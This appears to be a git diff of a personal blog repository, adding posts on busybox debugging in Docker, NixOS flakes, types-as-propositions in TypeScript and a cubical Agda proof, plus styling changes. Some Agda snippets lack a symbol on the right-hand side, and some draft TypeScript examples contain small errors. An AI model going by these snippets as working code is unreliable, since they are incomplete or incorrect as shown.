(n_zero : bool)
(n_suc : nat -> bool)
(n : nat)
: bool =
match n with
| Zero -> n_zero
| Suc n1 -> n_suc n1
```
where n_zero defines what to do with the zero case, and n_suc defines what to do
with the successor case.
You might've noticed that this definition doesn't actually return any booleans.
That's because this is not actually the is_even function! This is a general
function that turns any natural into a boolean. In fact, we can go one step
further and generalize this to all types:
```ocaml
let nat_transformer
(n_zero : 'a)
(n_suc : 'a -> 'a)
(n : nat)
: 'a =
match n with
| Zero -> n_zero
| Suc n1 -> n_suc n1
```
Let's say I wanted to write a function that converts from our custom-defined nat
type into an OCaml integer. Using this constructor, that would look something
like this:
```ocaml
let convert_nat = nat_transformer 0 (fun x -> x + 1)
```
TODO: Talk about https://counterexamples.org/currys-paradox.html
[has]: https://developer.mozilla.org/en-US/docs/Web/CSS/:has

View file

@ -0,0 +1,83 @@
---
title: "Getting a shell in a Docker Compose container without any shells"
date: 2023-03-29
tags: ["docker", "linux"]
---
First (published) blog post of the year! :raising_hands:
Here is a rather dumb way of entering a Docker Compose container that didn't
have a shell. In this specific case, I was trying to enter a Woodpecker CI
container without exiting it. Some Docker containers are incredibly stripped
down to optimize away bloat (which is good!) but this may make debugging them
relatively annoying.
> These are my specific steps for running it, please replace the paths and
> container names with the ones relevant to your specific use-case.
At first, I tried an approach following [this][1] document. But once I got to
actually running commands within the namespace, I realized that this exposes the
exact same interface as Docker compose; if there was no shell available from the
Docker container entirely, then I couldn't run something from outside. I would
need to get some shell into the container.
[1]: https://www.redhat.com/sysadmin/container-namespaces-nsenter
Fortunately, there's a software that contains a lot of handy tools in one
binary: [busybox][2]. It's a GPL software that contains a small implementation
of some coreutils (the Unix utilities like `ls` and `cp`) in a single static
binary.
[2]: https://busybox.net/
I grabbed a copy of the busybox tool using:
```
$ nix build nixpkgs#pkgsStatic.busybox
```
(if you aren't using [Nix][3], you may want to grab one of the pre-built
binaries from their website)
[3]: https://nixos.org/
To make sure it's statically linked (this means it doesn't depend on any
libraries already existing on your system, which may not be available within the
container), run this:
```
$ ldd ./result/bin/busybox
not a dynamic executable
```
You should be all good if it comes back with "not a dynamic executable".
Otherwise, if you're downloading off the website, make sure you look for
something that indicates you're downloading a version built with [`musl`][4],
which means it's using a static implementation of libc.
[4]: https://musl.libc.org/
Now it's just a matter of getting this binary into the container.
```
$ docker compose cp ./result/bin/busybox woodpecker-server:/
```
Now, I can run a shell, using the busybox program:
```
$ docker compose exec woodpecker-server /busybox sh
/ #
```
If you just ran busybox without the `sh` param, then it would list all the
busybox utilities that were built into your static binary. At this point, I also
ran:
```
/ # /busybox --install -s /bin
```
within the container. This installs symlinks to busybox so it acts as each of
the individual programs it emulates. Now I can type `ls` instead of having to
run `busybox ls` every single time.

View file

@ -0,0 +1,154 @@
---
title: "Developing on projects without flake.nix on NixOS"
date: 2023-04-20
tags: ["linux", "nixos"]
---
Ever since I became a NixOS hobbyist a few years ago, it's easy to plug NixOS
wherever I go. The way flakes create a reproducible development environment
across projects is so easy. I could clone any repository with a `flake.nix` or a
`shell.nix` file, run a simple `nix develop` (or `nix-shell`), and be completely
ready to start writing code without doing any additional setup. It configures
both the dependencies and environment variables I need and plops me straight
into a shell that has everything set up.
```
michael in 🌐 molecule in liveterm on  master [⇡] is 📦 v0.1.0 via 🦀 v1.68.0-nightly
nix develop
[michael@molecule:~/Projects/liveterm]$ █
```
To make things even easier, [direnv] (along with [nix-direnv]) can insert shell
hooks so that I don't even have to run any commands; just going into the
directory itself triggers a hook that sets up my current shell, so I can keep
all of my fancy prompts and highlighting and other shell features.
```
michael in 🌐 molecule in ~
j liveterm
/home/michael/Projects/liveterm
direnv: loading ~/Projects/liveterm/.envrc
direnv: using flake
direnv: nix-direnv: using cached dev shell
direnv: using flake
direnv: nix-direnv: using cached dev shell
direnv: export +AR +AS +CC +CONFIG_SHELL +CXX +DETERMINISTIC_BUILD +HOST_PATH +IN_NIX_SHELL +LD +NIX_BINTOOLS +NIX_BINTOOLS_WRAPPER_TARGET_HOST_x86_64_unknown_linux_gnu +NIX_BUILD_CORES +NIX_CC +NIX_CC_WRAPPER_TARGET_HOST_x86_64_unknown_linux_gnu +NIX_CFLAGS_COMPILE +NIX_ENFORCE_NO_NATIVE +NIX_HARDENING_ENABLE +NIX_INDENT_MAKE +NIX_LDFLAGS +NIX_PKG_CONFIG_WRAPPER_TARGET_HOST_x86_64_unknown_linux_gnu +NIX_SSL_CERT_FILE +NIX_STORE +NM +OBJCOPY +OBJDUMP +PKG_CONFIG +PKG_CONFIG_PATH +PYTHONHASHSEED +PYTHONNOUSERSITE +PYTHONPATH +RANLIB +READELF +SIZE +SOURCE_DATE_EPOCH +STRINGS +STRIP +SYSTEM_CERTIFICATE_PATH +_PYTHON_HOST_PLATFORM +_PYTHON_SYSCONFIGDATA_NAME +buildInputs +buildPhase +builder +cmakeFlags +configureFlags +depsBuildBuild +depsBuildBuildPropagated +depsBuildTarget +depsBuildTargetPropagated +depsHostHost +depsHostHostPropagated +depsTargetTarget +depsTargetTargetPropagated +doCheck +doInstallCheck +dontAddDisableDepTrack +mesonFlags +name +nativeBuildInputs +out +outputs +patches +phases +propagatedBuildInputs +propagatedNativeBuildInputs +shell +shellHook +stdenv +strictDeps +system ~PATH ~XDG_DATA_DIRS
michael in 🌐 molecule in liveterm on  master [⇡] is 📦 v0.1.0 via 🦀 v1.68.0-nightly via ❄️ impure (nix-shell)
```
The reason behind this is that on NixOS, I am able to prevent cluttering my
global environment with project-specific configurations. While I do still have a
global Node and Python for testing one-off things, all of my projects have their
own flake file, that locks specific versions of Node and Python so I can be sure
it builds in the future.
But what about projects that don't have a flake definition file? Without some
kind of existing configuration, I have _no_ dependencies, and if I want to even
build it, I would have to write a flake myself. That's fine and all, but
typically the `flake.nix` file lives in the root directory of the project, and
it's good practice in the Nix world to commit the flake file along with its
corresponding lock file. However, the upstream project may not appreciate it if
I shove new config files in their root directory.
```
  project
...
 .envrc ✗
 flake.lock ✗
 flake.nix ✗
```
> The `✗` indicates that I added the file to the project, and it hasn't been
> committed to the repo yet.
One way to fix this is just to never commit the flake file. Always use explicit
names with `git add`, and constantly check `git status` to make sure the file
isn't committed. While this is good practice anyway, it gets quite cumbersome.
Some upstream projects may also be ok with adding entries into the `.gitignore`
file for the flake files, but I wouldn't be writing about it if these were the
only solutions!
### Separating the flake from the repo
[direnv] uses a file called `.envrc` to configure setup instructions whenever you
go into the directory (or subdirectories). For a normal flake setup, a simple
config would look something like this:
```
use flake
```
This would query for the default dev shell found in the current directory's
flake and set up my current shell accordingly. I figured this would probably
take parameters, and unsurprisingly, it does! So my approach is just to create a
separate directory alongside the git repository that just contains Nix flake
files.
```
  project
...
 .envrc ✗
  project-dev-flake
 flake.lock
 flake.nix
```
Now, the flake exists in a separate directory outside of the git repo. Now
`.envrc` needs to be updated to point to this new directory:
```
use flake /path/to/project-dev-flake
```
If you have multiple dev shells, you can also use the `project-dev-flake#shell`
syntax to point to whichever shell you would like to automatically enter.
---
Ok great, now the flake file's out of the way. But we still have this `.envrc`
that needs to exist. This file defines the behavior of the shell hook of the
directory we're in, so in the repo for us for the hook to trigger ...right?
### Separating the `.envrc` file from the repo
So actually, the `.envrc` file conveniently affects all of the subdirectories of
the directory the file is in, not just the current one. This way if you `cd`
somewhere within your project hierarchy, you're not losing all the shell hook
behavior.
We can use this by moving the git repo _into_ the dev flake instead. So now the
project structure should look a bit more like this:
```
  project-dev-flake
  project
 .envrc
 flake.lock
 flake.nix
```
> Remember, since you moved the `.envrc` file, you will need to run `direnv
allow` again. Depending on how you moved it, you might also need to change the
> path you wrote in the `use flake` command.
With this setup, the `project` directory can contain a clean clone of upstream
and your flake files will create the appropriate environment.
This _does_ create an extra layer of directory nesting, but except for copying
longer paths, it really doesn't hurt my workflow. I use [autojump], which
automatically just remembers where paths are, so I can just type `j <project>`
to go to my project's directory directly. It's sorted by frequency, so as long
as I don't visit the `-dev-flake` container directory more often, my workflow
doesn't change at all.
---
I hope this helps you set up projects to contribute to non-NixOS projects a bit
easier!
[direnv]: https://direnv.net/
[nix-direnv]: https://github.com/nix-community/nix-direnv
[autojump]: https://github.com/wting/autojump

View file

@ -0,0 +1,437 @@
---
title: "Programmable Proofs"
date: 2023-04-20
tags: ["type-theory"]
math: true
draft: true
---
Today I'm going to convince you that data types in programming are the same as
[_propositions_][proposition] in the logical sense. Using this, we can build an
entire proof system on top of a programming language and verify mathematical
statements purely with programs.
To make this idea more approachable, I'm going to stick to using [Typescript]
for some of the starting examples to explain the concepts. Then, we'll go and
see how this stacks up in a language designed for writing mathematical proofs.
---
If we're going to talk about type theory, let's start by bringing some types to
the table. In Typescript, there's a very simple way to create a type: defining a
class! We can make new classes in Typescript like this:
```ts
class Cake {}
```
Simple enough. `Cake` is a type now. What does being a type mean?
- We can make some `Cake` like this:
```ts
let cake1 = new Cake();
let cake2 = new Cake();
```
- We can use it in function definitions, like this:
```ts
function giveMeCake(cake: Cake) {
/* ... */
}
```
- We can put it in other types, like this:
```ts
type Party = { cake: Cake; balloons: Balloon[] /* ... */ };
```
This creates a `Party` object that contains a `Cake`, some `Balloon`s, and
possibly some other things.
Ok that's cool. But we're curious people, so suppose we decide to have some fun
and make a class that doesn't have a constructor:
```ts
class NoCake {
private constructor() {}
}
```
> I admit, there still is a constructor, but just a private one, which means you
> can't call it from outside the class. Same thing in effect.
In Typescript and many OO languages it's based on, classes are given public
constructors by default. This lets anyone create an instance of the class, and
get all the great benefits we just talked about above. But when we lock down the
constructor, we can't just freely create instances of this class anymore.
<details>
<summary>Why might we want to have private constructors?</summary>
Let's say you had integer user IDs, and in your application whenever you wrote
a helper function that had to deal with user IDs, you had to first check that
it was a valid ID:
```ts
/** @throws {Error} */
function getUsername(id: number): string {
// First, check if id is even a valid id...
if (!isIdValid(id)) throw new Error("Invalid ID");
// Ok, now we are sure that id is valid.
// ...
}
```
It would be really nice if we could make a type to encapsulate this, so that
we know that every instance of this class was a valid id, rather than passing
around numbers and doing the check every time.
```ts
function getUsername(id: UserId): string {
// We can just skip the first part entirely now!
// Because of the type of the input, we are sure that id is valid.
// ...
}
```
Note that the function also won't throw an exception for an invalid id
anymore! That's because we're moving the check somewhere else. You could
probably imagine what an implementation of this "somewhere else" looks like:
```ts
class UserId {
private id: number;
/** @throws {Error} */
constructor(id: number) {
// First, check if id is even a valid id...
if (!isIdValid(id)) throw new Error("Invalid ID");
this.id = number;
}
}
```
This is one way to do it. But throwing exceptions from constructors is
typically bad practice. This is because constructors are meant to be the final
step in creating a particular object and should always return successfully and
not have side effects. So in reality, what we want is to put this into a
_static method_ that can create `UserId` objects:
```ts
class UserId {
private id: number;
constructor(id: number) {
this.id = id;
}
/** @throws {Error} */
fromNumberChecked() {
// First, check if id is even a valid id...
if (!isIdValid(id)) throw new Error("Invalid ID");
return new UserId(id);
}
}
```
But this doesn't work if the constructor is also public, because someone can
just **bypass** this check function and call the constructor anyway with an
invalid id! We need to limit the constructor, so that all attempts to create
a `UserId` instance goes through our function:
```ts
class UserId {
private id: number;
private constructor(id: number) {
this.id = id;
}
/** @throws {Error} */
fromNumberChecked() {
// First, check if id is even a valid id...
if (!isIdValid(id)) throw new Error("Invalid ID");
return new UserId(id);
}
}
```
Now we can rest assured that no matter what, if I get passed a `UserId`
object, it's going to be valid.
```ts
function getUsername(id: UserId): string {
// We can just skip the first part entirely now!
// Because of the type of the input, we are sure that id is valid.
// ...
}
```
This works for all kinds of validations, as long as the validation is
_permanent_. So actually in our example, a user could get deleted while we
still have `UserId` objects lying around, so the validity would not be true.
But if we've checked that an email is of the correct form, for example, then
we know it's valid forever.
</details>
Let's keep going down this `NoCake` example, and suppose we never implemented
any other static methods that would call this constructor either. That's the
full implementation of this class. We have now guaranteed that _no one can ever
create an instance of this class_.
But what about our use cases?
- We can no longer make `NoCake`. This produces a method visibility error:
```ts
let cake = new NoCake();
```
You'll get an error that reads something like this:
> Constructor of class `NoCake` is private and only accessible within the class declaration.
- We can no longer use it in function definitions or type constructors, like
this:
```ts
function giveMeCake(cake: NoCake) {
/* ... */
}
type Party = { cake: NoCake; balloons: Balloon[] /* ... */ };
```
Interestingly, this actually still typechecks! Why is that?
The reason is that even though you can never actually call this function, the
_definition_ of the function is still valid. (the more technical reason behind
this has to do with the positivity of variables, but that's a discussion for a
later day)
In fact, functions and types like this will actually be very useful for us
later on. Think about what happens to `Party` if one of its required elements
is something that can never be created.
No cake, no party! The `Party` type _also_ can't ever be constructed. The
_type_ called `Party` still exists, we just can't produce an object that will
qualify as a `Party`.
We've actually created a very important concept in type theory, known as the
**bottom type**. In math, this corresponds to $\emptyset$, or the _empty set_,
but in logic and type theory we typically write it as $\bot$ and read it as
"bottom".
What this represents is a concept of impossibility. If a function requires an
instance of a bottom type, it can never be called, and if a type constructor
requires a bottom type, like `Party`, it can never be constructed.
Typescript actually has the concept of the bottom type baked into the language:
[`never`][never]. So we never actually needed to create this `NoCake` type at
all! We could've just used `never`. It's used to describe computations that
never produce a value. For example, consider the following functions:
```ts
// Throw an error
function never1(): never {
throw new Error("fail");
}
// Infinite loop
function never2(): never {
while (true) {
/* no breaks */
}
}
```
The reason why these are both considered `never`, or $\bot$-types, is because
imagine using this in a program:
```ts
function usingNever() {
let canThisValueExist = never1();
console.log(canThisValueExist);
}
```
You can _never_ assign a value to the variable `canThisValueExist`, because the
program will never reach the log statement, or any of the statements after it.
The `throw` will bubble up and throw up before you get a chance to use the value
after it, and the infinite loop will never even finish, so nothing after it will
ever get run.
We can actually confirm that the `never` type can represent logical falsehood,
by using one of the "features" of false, which is that ["false implies
anything"][false]. In code, this looks like:
```ts
function exFalso<T>(x: never): T {
return x;
}
```
You'll notice that even though this function returns `T`, you can just return
`x` and the typechecker is satisfied with it. Typescript bakes this behavior
into the subtyping rules of `never`, so `never` type-checks as any other type,
so for example you can't do this easily with our `NoCake` type.
```ts
// Does not type-check!
function notExFalso<T>(x: NoCake): T {
return x;
}
```
Ok, we've covered bottom types, and established that it's analogous to logical
falsehood. But what represents logical truth?
Well, here's where we have to talk about what truth means. There's two big
parties of logical thought that are involved here. Let's meet them:
- **Classical logic**: gets its name from distinguishing itself from
intuitionistic logic. In this logical system, we can make statements and
talk about their truth value. As long as we've created a series of logical
arguments from the axioms at the start to get to "true", we're all good.
Under this framework, we can talk about things without knowing what they
are, so we can prove things like "given many non-empty sets, we can choose one
item out of each set" without actually being able to name any items or a way
to pick items (see Axiom of Choice)
- **Intuitionistic logic**, also called **constructive logic**: the new kid on
the block. In intuitionistic logic, we need to find a _witness_ for all of
our proofs. Also, falsehood is the absence of a witness, just like all the
stuff with the bottom type we just talked about, which models impossibility or
absurdity. In this logical system, the Axiom of Choice doesn't make any sense:
the act of proving that a choice exists involves generating an example of some
sort. Another notable difference is that intuitionistic does not consider the
Law of Excluded Middle to be true.
However, intuitionistic logic is preferred in a lot of mechanized theorem
provers, because it's easier computationally to talk about "having a witness".
Let's actually look more closely at what it means to have a "witness".
If you didn't read the section earlier about using private constructors to
restrict type construction, I'm going to revisit the idea a bit here. Consider
this very restrictive hash map:
```ts
namespace HashMap {
class Ticket {
/* ... */
} // Private to namespace
export class HashMap {
// ...
public insert(k: string, v: number): Ticket {
/* ... */
}
public getWithoutTicket(k: string): number | null {
if (!this.hasKey(k)) return null;
return this.inner[k];
}
public getWithTicket(t: Ticket): number {
return this.inner[t.key];
}
}
}
```
The idea behind this is kind of like having a witness. Whenever you insert
something into the map, you get back a ticket that basically proves that it was
the one that inserted it for you in the first place.
Since we used a namespace to hide access to the `Ticket` class, the only way you
could have constructed a ticket is by inserting into the map. The ticket then
serves as a _proof_ of the existence of the element inside the map (assuming you
can't remove items).
Now that we have a proof, we don't need to have `number | null` and check at
runtime if a key was a valid key or not. As long as we have the ticket, it
_guarantees_ for us that that key exists and we can just fetch it without asking
any questions.
In mechanized theorem provers,
---
To talk about that, we have to go back to treating types as sets. For example,
we've already seen that the bottom type is a set with no elements, $\emptyset$.
But what's a type that corresponds to a set with one element?
In type theory, we call this a **unit type**. It's only got one element in it,
so it's not super interesting. But that makes it a great return value for
functions that aren't really returning anything, but _do_ return at all, as
opposed to the bottom types. Typescript has something that behaves similarly:
```ts
function returnUnit(): null {
return null;
}
```
There's nothing else that fits in this type. (I realize `void` and `undefined`
also exist and are basically single-valued types, but they have other weird
behavior that makes me not want to lump them in here)
Let's just also jump into two-valued types, which in math we just call
$\mathbf{2}$. This type has a more common analog in programming, it's the
boolean type.
Do you see how the number of possible values in a type starts to relate to the
_size_ of the set now? I could go on, but typically 3+ sets aren't common enough
to warrant languages providing built-in names for them. Instead, what languages
will do is offer _unions_, which allow you to create your own structures.
For example, let's try to create a type with 3 possible values. We're going to
need 3 different unit types such that we can write something like this:
```ts
type Three = First | Second | Third;
```
We can just do three different unit classes.
```ts
class First {
static instance: First = new First();
private constructor() {}
}
class Second {
/* ... */
} // same thing
class Third {
/* ... */
} // same thing
```
The reason I slapped on a private constructor and included a singleton
`instance` variable is to ensure that there's only one value of the type that
exists. Otherwise you could do something like this:
```ts
let first = new First();
let differentFirst = new First();
```
and the size of the `First` type would have grown beyond just a single unit
element.
But anyway! You could repeat this kind of formulation for any number of
_finitely_ sized types. In the biz, we would call the operator `|` a
**type-former**, since it just took three different types and created a new type
that used all three of them.
[proposition]: https://en.wikipedia.org/wiki/Propositional_calculus
[typescript]: https://www.typescriptlang.org/
[never]: https://www.typescriptlang.org/docs/handbook/2/functions.html#never
[false]: https://en.wikipedia.org/wiki/Principle_of_explosion
[as]: https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#type-assertions
[//]: https://code.lol/post/programming/higher-kinded-types/
[//]: https://ayazhafiz.com/articles/21/typescript-type-system-lambda-calculus

View file

@ -0,0 +1,170 @@
---
title : "Formally proving true ≢ false in cubical Agda"
slug : "proving-true-from-false"
date : 2023-04-21
tags : ["type-theory", "agda"]
math : true
---
<details>
<summary>Imports</summary>
These are some imports that are required for code on this page to work properly.
```agda
{-# OPTIONS --cubical #-}
open import Cubical.Foundations.Prelude
open import Data.Bool
open import Data.Unit
open import Data.Empty
¬_ : Set → Set
¬ A = A → ⊥
infix 4 _≢_
_≢_ : ∀ {A : Set} → A → A → Set
x ≢ y = ¬ (x ≡ y)
```
</details>
The other day, I was trying to prove `true ≢ false` in Agda. I would write the
statement like this:
```
true≢false : true ≢ false
```
For many "obvious" statements, it suffices to just write `refl` since the two
sides are trivially true via rewriting. For example:
```
open import Data.Nat
1+2≡3 : 1 + 2 ≡ 3
1+2≡3 = refl
```
This is saying that using the way addition is defined, we can just rewrite the
left side so it becomes judgmentally equal to the right:
```
-- For convenience, here's the definition of addition:
-- _+_ : Nat → Nat → Nat
-- zero + m = m
-- suc n + m = suc (n + m)
```
- 1 + 2
- suc zero + suc (suc zero)
- suc (zero + suc (suc zero))
- suc (suc (suc zero))
- 3
However, in cubical Agda, naively using `refl` with the inverse statement
doesn't work. I've commented it out so the code on this page can continue to
compile.
```
-- true≢false = refl
```
It looks like it's not obvious to the interpreter that this statement is
actually true. Why is that
## Intuition
Well, in constructive logic / constructive type theory, proving something is
false is actually a bit different. You see, the definition of the `not`
operator, or $\neg$, was:
```
-- ¬_ : Set → Set
-- ¬ A = A → ⊥
```
> The code is commented out because it was already defined at the top of the
> page in order for the code to compile.
This roughly translates to, "give me any proof of A, and I'll produce a value of
the bottom type." Since the bottom type $\bot$ is a type without values, being
able to produce a value represents logical falsehood. So we're looking for a way
to ensure that any proof of `true ≢ false` must lead to $\bot$.
The strategy here is we define some kind of "type-map". Every time we see
`true`, we'll map it to some arbitrary inhabited type, and every time we see
`false`, we'll map it to empty.
```
bool-map : Bool → Type
bool-map true =
bool-map false = ⊥
```
This way, we can use the fact that transporting
over a path (the path supposedly given to us as the witness that true ≢ false)
will produce a function from the inhabited type we chose to the empty type!
```
true≢false p = transport (λ i → bool-map (p i)) tt
```
I used `true` here, but I could equally have just used anything else:
```
bool-map2 : Bool → Type
bool-map2 true = 1 ≡ 1
bool-map2 false = ⊥
true≢false2 : true ≢ false
true≢false2 p = transport (λ i → bool-map2 (p i)) refl
```
## Note on proving divergence on equivalent values
Let's make sure this isn't broken by trying to apply this to something that's
actually true:
```
data NotBool : Type where
true1 : NotBool
true2 : NotBool
same : true1 ≡ true2
```
In this data type, we have a path over `true1` and `true2` that is a part of the
definition of the `NotBool` type. Since this is an intrinsic equality, we can't
map `true1` and `true2` to divergent types. Let's see what happens:
```
notbool-map : NotBool → Type
notbool-map true1 =
notbool-map true2 = ⊥
```
Ok, we've defined the same thing that we did before, but Agda gives us this
message:
```text
Errors:
Incomplete pattern matching for notbool-map. Missing cases:
notbool-map (same i)
when checking the definition of notbool-map
```
Agda helpfully notes that we still have another case in the inductive type to
pattern match on. Let's just go ahead and give it some value:
```text
notbool-map (same i) =
```
If you give it ``, it will complain that `⊥ != of type Type`, but if you give
it `⊥`, it will also complain! Because pattern matching on higher inductive
types requires a functor over the path, we must provide a function that
satisfies the equality `notbool-map true1 ≡ notbool-map true2`, which unless we
have provided the same type to both, will not be possible.
So in the end, this type `NotBool → Type` is only possible to write if the two
types we mapped `true1` and `true2` can be proven equivalent. But this also
means we can't use it to prove `true1 ≢ true2`, which is exactly the property we
wanted to begin with.

View file

@ -3,9 +3,9 @@ title: "Equivalences"
slug: "equivalences"
date: 2023-05-06
tags:
- type-theory
- agda
- hott
- type-theory
- agda
- hott
math: true
draft: true
---
@ -58,7 +58,6 @@ we can just give $y$ again, and use the `refl` function above for the equality
proof
```
```
The next step is to prove that it's contractible. Using the same derivation for
@ -149,7 +148,7 @@ Blocked on this issue: https://git.mzhang.io/school/cubical/issues/1
Now we can prove that the path is the same
\begin{CD}
A @> > > B \\\
A @> > > B \\\
@VVV @VVV \\\
C @> > > D
\end{CD}
@ -166,12 +165,10 @@ Bool-id-is-equiv .equiv-proof y .snd y₁ i .snd j =
c-d = y₁ .snd
in
?
```
```
Blocked on this issue: https://git.mzhang.io/school/cubical/issues/2
```
```
```
## Other Equivalences

View file

@ -0,0 +1,7 @@
+++
title = "Blog"
weight = 1
[cascade]
type = "posts"
+++

47
src/data/links.ts Normal file
View file

@ -0,0 +1,47 @@
export interface Link {
name: string;
url: string;
icon: string;
description: string;
}
const links: Link[] = [
{
name: "Forgejo",
url: "https://git.mzhang.io",
icon: "gitea",
description: "Check out my public open source projects on Forgejo",
},
{
name: "Matrix",
url: "https://matrix.to/#/@michael:chat.mzhang.io",
icon: "matrix-org",
description: "Come chat with me on Matrix",
},
{
name: "GitHub",
url: "https://github.com/iptq",
icon: "github",
description: "See a history of my old projects on GitHub",
},
{
name: "Mastodon",
url: "https://fosstodon.org/@mzhang",
icon: "mastodon-square",
description: "Follow my ramblings on Mastodon",
},
{
name: "Keybase",
url: "https://keybase.io/michaelz",
icon: "keybase",
description: "Verify my other identities on Keybase",
},
{
name: "LinkedIn",
url: "https://linkedin.com/in/mzhang0",
icon: "linkedin",
description: "Connect with me on LinkedIn",
},
];
export default links;

View file

@ -1,4 +1,5 @@
---
import Footer from "../components/Footer.astro";
import LeftNav from "../components/LeftNav.astro";
import "../styles/global.scss";
---
@ -9,32 +10,19 @@ import "../styles/global.scss";
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Michael Zhang</title>
<link rel="stylesheet" href="{{ $style.RelPermalink }}" crossorigin="anonymous" />
</head>
<body>
<div class="flex-wrapper">
<div class="container">
<LeftNav />
<div class="sep"></div>
<main>
<slot />
</div>
</main>
</div>
<footer>
<p>
Blog code licensed under <a href="https://www.gnu.org/licenses/gpl-3.0.txt" target="_blank"
>[GPL-3.0]</a
>. Post contents licensed under <a
href="https://creativecommons.org/licenses/by-sa/4.0/legalcode.txt">[CC BY-SA 4.0]</a
>.
<br />
Written by Michael Zhang.
<a href="https://git.mzhang.io/michael/blog" class="colorlink" target="_blank">[Source]</a>.
</p>
</footer>
<Footer />
</body>
</html>

View file

@ -1,6 +1,9 @@
---
import PostList from "../components/PostList.astro";
import BaseLayout from "../layouts/BaseLayout.astro";
import { join } from "path";
const currentUrl = Astro.url;
---
<BaseLayout>
@ -8,5 +11,5 @@ import BaseLayout from "../layouts/BaseLayout.astro";
<!-- {JSON.stringify(allPosts)} -->
<PostList />
<PostList basePath={join(currentUrl.pathname, "posts")} />
</BaseLayout>

View file

@ -1,6 +1,8 @@
---
import "../../styles/post.scss";
import BaseLayout from "../../layouts/BaseLayout.astro";
import { type CollectionEntry, getCollection } from "astro:content";
import Timestamp from "../../components/Timestamp.astro";
// import BlogPost from "../../layouts/BlogPost.astro";
export async function getStaticPaths() {
@ -14,10 +16,17 @@ export async function getStaticPaths() {
type Props = CollectionEntry<"posts">;
const post = Astro.props;
const { Content } = await post.render();
const { Content, remarkPluginFrontmatter } = await post.render();
---
<BaseLayout>
<h1 class="post-title">{post.data.title}</h1>
<small class="post-meta">
Posted on <Timestamp timestamp={post.data.date} />
- {remarkPluginFrontmatter.minutesRead}
</small>
<!-- <BlogPost {...post.data}> -->
<Content />
<!-- </BlogPost> -->

View file

@ -4,18 +4,19 @@
$linkColor: royalblue;
:root {
--background-color: $backgroundColor;
--faded-background-color: darken($backgroundColor, 10%);
--shadow-color: darken($backgroundColor, 10%);
--heading-color: darken(royalblue, 10%);
--text-color: $textColor;
--background-color: #{$backgroundColor};
--faded-background-color: #{darken($backgroundColor, 10%)};
--shadow-color: #{darken($backgroundColor, 10%)};
--heading-color: #{darken(royalblue, 10%)};
--text-color: #{$textColor};
--small-text-color: #6e707f;
--smaller-text-color: lighten($textColor, 30%);
--smaller-text-color: #{lighten($textColor, 30%)};
--faded: lightgray;
--hr-color: lightgray;
--link-color: $linkColor;
--link-color: #{$linkColor};
--link-hover-color: #{lighten($linkColor, 35%)};
--code-color: firebrick;
--tag-color: lighten($linkColor, 35%);
--tag-color: #{lighten($linkColor, 35%)};
}
}
@ -25,17 +26,18 @@
$linkColor: lightskyblue;
:root {
--background-color: $backgroundColor;
--faded-background-color: lighten($backgroundColor, 10%);
--shadow-color: lighten($backgroundColor, 10%);
--heading-color: lighten(lightskyblue, 20%);
--text-color: $textColor;
--small-text-color: darken($textColor, 8%);
--smaller-text-color: darken($textColor, 12%);
--background-color: #{$backgroundColor};
--faded-background-color: #{lighten($backgroundColor, 10%)};
--shadow-color: #{lighten($backgroundColor, 10%)};
--heading-color: #{lighten(lightskyblue, 20%)};
--text-color: #{$textColor};
--small-text-color: #{darken($textColor, 8%)};
--smaller-text-color: #{darken($textColor, 12%)};
--faded: #666;
--hr-color: gray;
--link-color: $linkColor;
--code-color: lighten(firebrick, 25%);
--tag-color: darken($linkColor, 55%);
--link-color: #{$linkColor};
--link-hover-color: #{darken($linkColor, 60%)};
--code-color: #{lighten(firebrick, 25%)};
--tag-color: #{darken($linkColor, 55%)};
}
}

View file

@ -1,3 +1,5 @@
// @import "fork-awesome/scss/fork-awesome";
@font-face {
font-family: "PragmataPro Mono Liga";
src:

View file

@ -0,0 +1 @@
$breakpoint: 720px;

9
src/styles/footer.scss Normal file
View file

@ -0,0 +1,9 @@
footer {
margin: auto 12px;
margin-top: 24px;
margin-bottom: 40px;
text-align: center;
font-size: 0.85rem;
}

View file

@ -0,0 +1,34 @@
// Spinning Icons
// --------------------------
.#{$fa-css-prefix}-spin {
-webkit-animation: #{$fa-css-prefix}-spin 2s infinite linear;
animation: #{$fa-css-prefix}-spin 2s infinite linear;
}
.#{$fa-css-prefix}-pulse {
-webkit-animation: #{$fa-css-prefix}-spin 1s infinite steps(8);
animation: #{$fa-css-prefix}-spin 1s infinite steps(8);
}
@-webkit-keyframes #{$fa-css-prefix}-spin {
0% {
-webkit-transform: rotate(0deg);
transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(359deg);
transform: rotate(359deg);
}
}
@keyframes #{$fa-css-prefix}-spin {
0% {
-webkit-transform: rotate(0deg);
transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(359deg);
transform: rotate(359deg);
}
}

View file

@ -0,0 +1,25 @@
// Bordered & Pulled
// -------------------------
.#{$fa-css-prefix}-border {
padding: .2em .25em .15em;
border: solid .08em $fa-border-color;
border-radius: .1em;
}
.#{$fa-css-prefix}-pull-left { float: left; }
.#{$fa-css-prefix}-pull-right { float: right; }
.#{$fa-css-prefix} {
&.#{$fa-css-prefix}-pull-left { margin-right: .3em; }
&.#{$fa-css-prefix}-pull-right { margin-left: .3em; }
}
/* Deprecated as of 4.4.0 */
.pull-right { float: right; }
.pull-left { float: left; }
.#{$fa-css-prefix} {
&.pull-left { margin-right: .3em; }
&.pull-right { margin-left: .3em; }
}

View file

@ -0,0 +1,12 @@
// Base Class Definition
// -------------------------
.#{$fa-css-prefix} {
display: inline-block;
font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} #{$fa-font-family}; // shortening font declaration
font-size: inherit; // can't have font-size inherit on line above, so need to override
text-rendering: auto; // optimizelegibility throws things off #1094
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}

View file

@ -0,0 +1,6 @@
// Fixed Width Icons
// -------------------------
.#{$fa-css-prefix}-fw {
width: (18em / 14);
text-align: center;
}

View file

@ -0,0 +1,11 @@
// Functions
// --------------------------
// Helper function which adds quotes to preserve unicode values in CSS output.
//
// See: https://github.com/sass/sass/issues/1395
// See: https://stackoverflow.com/questions/30421570/sass-unicode-escape-is-not-preserved-in-css-file
@function fa-content($fa-var) {
@return unquote("\"#{$fa-var}\"");
}

View file

@ -0,0 +1,934 @@
/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen
readers do not read off random characters that represent icons */
.#{$fa-css-prefix}-glass:before { content: fa-content($fa-var-glass); }
